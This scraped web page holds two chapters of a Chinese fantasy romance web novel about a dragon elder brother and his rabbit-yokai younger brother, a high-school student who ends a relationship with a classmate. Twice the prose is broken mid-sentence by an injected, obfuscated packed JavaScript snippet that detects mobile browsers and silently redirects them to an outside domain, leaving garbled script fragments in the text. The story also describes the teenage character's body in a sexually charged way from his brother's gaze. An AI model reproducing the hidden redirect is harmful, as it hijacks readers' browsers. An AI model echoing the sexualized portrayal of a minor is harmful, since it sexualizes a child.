《溺雪月》 3. 烟草 “西大陆这边……” 电脑里陌生的男音汇报着羡瓷礼听不懂的公司情况,时不时伴随着一两声哥哥淡淡的回复和指示。 他在一小时前被勒令换掉了那一身不太正经的衣服,此刻刚洗完澡趴在书房的沙发上晃着腿,手指在手机屏幕上噼里啪啦点得飞快。 睡裙细伶伶的肩带贴合皮肉,月白的布料上绣着针脚细致的花纹,一朵黑色的玫瑰刚好卡进深陷进的锁骨窝,衬得肤色胜雪。 顾凌川:小礼,你下午说的是气话对吗?今晚我们都冷静一下,明天当面谈谈好不好? “稚礼,记得吹头发。” 叮咚一声,手机屏幕上方弹出顾凌川的消息,同时耳边传来羡忱域让他吹头发的声音,羡瓷礼吓了一跳,急忙关上手机用手盖住,慌乱抬头去看坐在办公桌前的人。 看到羡忱域的目光还停留在电脑上,并没有看过来,羡瓷礼快速把顾凌川的账号拉黑删除后才长长舒了口气,没了骨头一般严丝合缝地瘫在沙发上,脸颊被挤压出一点软肉。 他半眯着眼,盯着哥哥被暖光软化棱角的侧脸,声音软绵绵的:“知道啦。” 墙上的圆钟滴答滴答转动半圈,徐徐吹过的冷风把玉白的脚趾染成粉色,羡瓷礼都没起身去吹头发,正瞌着眼即将进入梦乡时,一阵冷松香传来,腰侧的沙发塌陷下去一块。 他被抱着坐起来,脸颊肉被捏了捏才迷迷糊糊半掀开眼皮,好半天眼神聚焦到羡忱域脸上,含糊嘀咕了句什么便闭上眼靠过去。 “吹完头发再睡,坐好。” 羡瓷礼坐得东倒西歪,仿佛没有骨头,羡忱域给他烘左边的头发,他便侧靠着沙发靠背,烘右侧的头发时他便把下巴抵在哥哥肩上,全程眼睛都没睁,只是顺从着任由摆弄。 羡忱域无奈地把人固定不动,撩起他长长的发丝,掌心运起暖洋洋的灵力,仔细将每一缕头发烘干。 少年身上独特的清浅柚香随着暖烘烘的气息幽幽往上飘,混合着沐浴露浅淡的果香,羡忱域莫名感觉有些头晕,空调冷风也吹不散那点无端的热,他忍不住皱了皱眉。 很陌生的感觉,羡忱域凝了凝神,把羡瓷礼和自己的距离拉开些,才继续处理小兔子未干的发尾。 烘头发的气息似乎让羡瓷礼感觉有些热了,乖顺窝着睡觉的人不太舒服地哼了两声,无意识把自己蹭进天生体温偏低的哥哥怀里,整个上半身都贴在羡忱域胸膛上。 透过薄薄的睡裙布料和衬衫传递过来的除了少年较高的体温,同时还有软绵绵的触感。 羡瓷礼因为特殊的身体构造,导致骨架比一般男性纤细,看起来匀称的四肢也能藏住更多肉,抱起来软乎乎的。 此刻贴在怀里柔软的触感,羡忱域反应过来时面色一僵,握住弟弟的肩膀想再次把人拉开些却被贴得更紧。 睡裙领口太低了,羡瓷礼沐浴后并没有穿小衣的习惯,此刻由于贴近的距离,能隐约窥见腻白的弧度,吹干的发丝顺着空隙往里延伸,粉色的雾海里朦胧可见那颗红痣灼灼,仿佛糜艳剧毒的花扎根于此。 羡忱域呼吸一沉,深不见底的黑眸里暗金色若隐若现,扶着人的手臂上青筋凸起,指腹陷进掌心下的软肉里,直到羡瓷礼轻微的痛哼传进耳朵里,他才恍然松手,一瞬间眼眸里的暗金色没了踪影。 过了许久,寂静的院子里才响起几声突兀的虫鸣,无形的压制被撤去,弱小的生物终于得以呼吸。 沙发上,羡瓷礼已经被薄薄的毯子裹成春卷的形状,被热得偶尔发出两声不舒服的呓语,为数不多露出的——脚踝上还留着淡粉色痕迹,始作俑者却不见踪影。 直到时针指向十二,羡忱域似乎才想起被他卷成一条的兔子,视线从凛凛夜色中收回,掐灭了指尖猩红的火点,抬腿离开阳台。 “回房间睡觉吧。” 他声音里还残留着一丝压抑的哑,淡淡的目光扫过羡瓷礼漂亮冷白的脸时顿了顿,俯身把春卷小兔抱起。 “又……抽烟……” 羡忱域没想到他会醒,刚把人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612012|172155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱起来便听到柔软的控诉,心里的烦躁顿时一扫而空。 “鼻子这么灵?” 羡瓷礼皱了皱鼻尖,把脸埋进他臂弯里,只露出小半张脸,一副很嫌弃的模样。 “下次不抽了,很难闻吗?”黑暗中,羡忱域无意识露出点笑意,冷沉的黑眸柔和下来。 寂静的二楼只有他走路的脚步声,久久没有羡瓷礼的回答,快走到房间门口时才听到小兔子迷糊柔软的回答。 “唔……也没有啦……就是……对身体不好……” 明显没有完全清醒,声音断断续续的,羡忱域正要开口说话,听到他又说了句:“不想你生病……” 千年来,由于天地巨变,许多妖族灵力退化,直至今日那点稀薄的术法只能够维持化形。但龙族已经在这片大陆生存千年,灵力退化并没有影响到他们,这个传说中神秘而强大的种族守护着弱小,抵抗了数次浩劫也不曾覆灭,人类研究出的烟草对于他们而言作用并不大,生病更是无稽之谈。 但小兔子无意识的关心柔软又可爱,羡忱域自然不会无趣地揭穿,心脏最柔软的地方仿佛被兔耳朵蹭了蹭,他把羡瓷礼放到床上,放轻声音问他:“赚钱养某只小兔子压力很大,不可以抽吗?” 明明困得话都说不出了,闭着眼,半张脸陷在枕头里,听到羡忱域问他时还伸手去抓哥哥搭在他脸侧的手指,唇瓣微动想回答。 “可是抽烟……” 一声轻笑打断了迷迷糊糊的回答,羡忱域把他脸上的头发拨到一边,不再逗他:“养你还是没问题的,睡吧。” 醒着时气人的本事倒是不小,教训两句便红着双眼睛看着你掉眼泪,睡着了又乖的不行,困得迷糊还要强撑着关心他。 羡忱域看着他睡红的脸轻轻叹了口气,把房间温度调到适中后起身打算离开。 “哥哥,晚安……” “嗯,晚安。” 光亮和声音被轻声合上的门阻隔,夜色深深,房间里只余下了羡瓷礼清浅的呼吸声。 4. 揉揉耳朵 雾聚了又散,裹挟着细雨的空气里揉进了植物清新的气息,栀子花的香气混进泥土的潮意里,试探着、从窗户的缝隙里偷偷漫进来。 羡瓷礼趴在桌边,一小块穿着红绳的墨绿玉牌被他捏在指尖,指节处透着清冷的白,指腹却洇出淡淡的粉。 编织繁杂的红绳穿过玉牌的小孔,另一端圈住少年玉白的颈,压着软肉微微下陷。 “羡瓷礼,顾凌川来找你好几次了,你真的不出去吗?”前桌看着教室门口晃悠过几次的人,那道灼热直白的视线直直地凝在羡瓷礼身上,终于忍不住好奇,开口问身后趴着摆弄挂坠的人。 “我和他已经分手了。”羡瓷礼偷偷看了眼门外,和顾凌川对上视线的瞬间立马收回,动作间,没扎起的头发散落下来遮住眼睛和半张脸。 胸腔里心脏跳动的速度很快,脸颊也热起来,对于顾凌川,羡瓷礼还是有些愧疚和心虚的。 那天阿柯问他是不是都快高中毕业了还没谈过恋爱,他嘴硬着说自己当然谈过啦,转头就去追了顾凌川,没过半个月便开始了这场隐秘又新奇的恋爱冒险。 但这场冒险才开始一个月便夭折了,面对面色不虞地哥哥,分手实在是唯一选择,对于顾凌川而言却并不公平。 他还没想好怎么向顾凌川表达自己的抱歉,面对顾凌川紧紧相逼的态度他只能选择逃避。 “跟我来。” 羡瓷礼捏着自己的发尖出神,沉浸在自己该怎么面对时,手腕上突然传来一股力,快速把他从座位上拉了起来,顾凌川的声音在耳边响起。 男生的步子太大,速度也很快,羡瓷礼被拽着脚步踉跄地往前走,纤细的手腕被力锢得生疼,他抽了抽手,没抽动。 走廊尽头的天台门被撞开,湿漉漉的风裹着碎雨扑在脸上。羨瓷礼踉跄着撞进顾凌川怀里,玉牌在急促的呼吸中硌着锁骨发疼。 他闻到对方校服上残留的草药香,那是上周他特地去原栀姐姐药铺里抓药做的驱蚊香包,没想到顾凌川还带在身上。 沉默在水雾朦胧的空旷天台上蔓延开,羡瓷礼动了动手腕,柔软的嗓音发颤:“顾凌川,痛……” 水雾打湿的校服贴在脊背上,顾凌川的体温隔着两层布料透过来,烫得他睫毛发颤。 “为什么拉黑我?”顾凌川的手撑在他耳侧,指节泛着用力过度的青白,“什么都不说就分手,你把我当什么了?” 沾着雨水的玉牌在纠缠中滑出衣领,红绳在瓷白的皮肤上勒出浅痕。羡瓷礼别过脸去看墙角新生的青苔,潮湿的水汽让声音都变得绵软:“我哥会生气......” “所以呢?”顾凌川突然捏住他下巴,拇指重重擦过下唇,“你哥不同意你就要和我分手吗?” 记忆随着这个动作汹涌而来。羡瓷礼想起梅雨季闷热的午后,坐在甜品店里,顾凌川替他擦掉嘴角的奶油,蝉鸣声里自己涨红着脸去勾对方的小指。 此刻那人眼底跳动的火焰,和那天一样炙热。 羡瓷礼垂下眼错开他灼灼的视线,他不知道不分手羡忱域会不会为难顾凌川,他也不知道自己对顾凌川的感情究竟是喜欢还是青春期隐秘的好奇和冲动。无论是让男生因为他被哥哥针对或是自己分不清情感地耽误他,都不是他想要的结果。 他颤了颤湿润的睫毛,琉璃般澄澈的红瞳晕着水汽,晶莹的泪光闪烁,终于吐出哽在喉咙里的解释:“对不起,我真的不喜欢你了,不分手,我哥……他总会知道的。” “我很抱歉,你很好但我们不合适,”沉默良久,羡瓷礼闭了闭眼,还是狠下心把话说出口:“当初在一起也不是因为喜欢你,我只是想试试恋爱是什么感觉……” 攥紧羡瓷礼手腕的力道突然松懈,顾凌川低头看他沾着雨水的睫毛,粉发被水雾浸湿蔫巴巴地贴在手臂,似乎因为紧张,樱粉的唇上还印着浅淡细小的齿痕。 “对不起……” “不用说对不起。”顾凌川额前的发也被水汽打湿,发尾凝出水珠往下滴落,原本清润的嗓音沙哑不堪,那双黑眸里翻涌着羡瓷礼看不懂的情绪。 “回去吧,下雨了。” 羡瓷礼瞬间被愧疚填满,红红的眼睛里夹杂着担忧,泪水将落未落。他上前一步抓住了顾凌川的手臂,唇动了动,最终只是落下一句苍白的关心,柔软的尾音散进风里:“你也早点回去吧,抱歉。” 前面的背影消失在门后,顾凌川垂在身侧的手不受控地抬起,却又停了下来他缓缓闭上了眼,仿佛挣扎着做了某种决定般,手指渐渐收拢,往回收,不再逾矩。 从天台回来后羡瓷礼整个下午都心不在焉,时不时盯着课本发呆,或是趴着叹气,红着眼眶、漂亮的眼睛黯淡无神。 终于熬到放学,他才拎着书包慢慢往外走。 “阿礼!” 刚出校门,原柯高昂的声音从街道对面传来,下一秒便出现在羡瓷礼身旁。 “你昨晚被羡哥抓到了?怎么没过来?” 原柯顺手拿走羡瓷礼手里的书包,搂着他肩膀往街对面走。 “在院子里被抓了。”少年明显有些蔫,那双剔透的红瞳平日里光彩熠熠,沁着甜甜的笑,此刻有些无神,要是兔耳朵冒出来的话,指定是耷拉着的。 “怎么了怎么了怎么了,谁欺负我们家小兔子了?蔫巴巴的。” 原柯挑了挑眉,痞气的脸透出些不正经的味道来,此刻搂着穿制服短裙的羡瓷礼,在路人看来仿佛坏小子和他的乖乖女女友。 “回去再跟你说,不要靠太近,很热嘛。”羡瓷礼推了推原柯凑近的帅脸,伸手给自己扇了扇风,似乎因为不太高兴,脸颊肉微微鼓起。 “好吧好吧,先带你去吃点东西。”原柯戳了戳他的脸,成功获得一个小兔子的怒视才收手,搂着人往车的方向走。 “就是这样。” “咳咳咳——所以你当时骗我呢,小兔子还学会撒谎了?”原柯刚喝了口茶,听到羡瓷礼叙述完事情的来龙去脉,被茶水狠狠地呛了下。 “我……我不是怕你笑我吗……”羡瓷礼耳尖和脸都红红的,他趴着把半张脸埋在手臂里,只露出一双有些躲闪的眼睛。 “那你也不能真去谈恋爱啊,外面那么多坏人万一知道你是只好骗的笨兔子把你抓回去怎么办?化形不稳定还敢和人类恋爱……” “我也是妖啊,怎么说都会比人类强吧……”羡瓷礼朝原柯眨了眨眼,有些心虚。他自幼化形便不太稳定,情绪波动过大会冒出耳朵和尾巴,有时甚至会毫无预兆地变回兔子。 原柯一副‘你看我信吗’的表情,给他推过去一碗原栀新配方熬制的解暑汤。 “我知道错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612013|172155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了……已经分手了,真的。”羡瓷礼软和着声音,水润的大眼睛真诚地看向原柯,颇显无辜地眨了眨。 原柯‘呵呵’两声,最终没说什么,他把一堆零食摆到阳台的小桌上,往沙发一窝:“今晚在这吃饭吗?我姐等会买菜回来。” 羡瓷礼抱着毛茸茸的小狗玩偶窝在阳台的蛋壳摇椅里,小半张脸被狗耳朵挡住,闻言看过去,眼睛发亮:“想栀姐姐做的饭了,好久没吃到了。” “下次想吃就过来啊,她可希望你来了。” “嗯嗯。” 天色渐暗,朦胧的雨雾中闪烁着模糊的光点,红、白、黄,晕染开来。 吃过饭,三人躺在沙发上、躺椅里,看着电视里千篇一律的肥皂剧,是不是聊两句。 “小梨今晚在这和原柯住吗?还是你哥来接你?”原栀一头茶棕色大波浪,柔和的眉眼和原柯反差极大,此时随意的躺靠在沙发上,看向一旁的羡瓷礼。 原栀如今在老城区开着一家中药药铺,他们梧桐一族,化形后也隐匿于人间,过着平淡悠闲的生活。她也算得上羡忱域为数不多的好友。 “我哥给我发信息啦,他说一会下班过来接我,下次再和阿柯住吧。”羡瓷礼不知何时冒出来的耳朵尖抖了抖,弯着眼睛朝原栀笑,棉花糖一般软甜。 原栀嗯了声,让他多过来玩,随后笑眯眯地伸出手揉揉他的耳朵,直到小兔子粉色的头发变得乱糟糟才松开手。 面对小兔子敢怨不敢言的求助眼神,原柯摊了摊手,在一旁幸灾乐祸地笑。 临走前,原栀还交给他一个袋子,羡瓷礼随意看了看,精致的牛皮纸纸袋里似乎装着一套衣服。 “去吧去吧,你哥在对面呢。衣服记得穿哦,给你挑的小裙子。”原栀和原柯朝羡瓷礼挥挥手,脸上都挂着笑。 原栀从前致力于把原柯当成小女孩养,结果弟弟长大后变成这幅痞气又不着调的模样,她痛心疾首后便把目光转向了羡忱域的小兔子,桃粉色头发的小兔子雌雄莫辨,一张漂亮乖巧的脸蛋实在符合她对妹妹的幻想,于是乎羡瓷礼多了一柜子原栀送的漂亮小裙子。 告别原栀姐弟,羡瓷礼蹦上羡忱域停在路边的车,刚上车便把头探到羡忱域耳侧,细碎柔软的头发落满男人的肩。 “哥,有没有想我啊今天?” 淡淡的柚香和软软的声音同时出现,羡忱域微微偏头对上那双剔透的红瞳,露出点笑:“才多久没见?” “一整天啊,今早起床我都没见到你,现在又这么晚才下班,公司最近很忙吗?”羡瓷礼坐回自己的位置,微微鼓着脸拧眉,一副在认真思考的模样。 羡忱域朝他伸手,示意他过来,羡瓷礼立马会意蹭到哥哥身旁,脸颊软软的贴到羡忱域掌心。 “最近有个项目快结束了,会忙一段时间。” 羡瓷礼把脸贴在他掌心,眨了眨眼,乖乖地回了句好吧。 “耳朵怎么又冒出来了?” 羡忱域冷质的声音听不太出情绪,直到被另一只手捏了捏脆弱的后颈,羡瓷礼才抖了抖,可怜巴巴求饶的眼神看向视线上方的人。 “没注意它就自己跑出来了……”说完还用脸颊蹭了蹭他哥的手。 随后被人弹了弹耳尖,一句淡淡的警告落下。 “……下次别让原栀揉你耳朵。”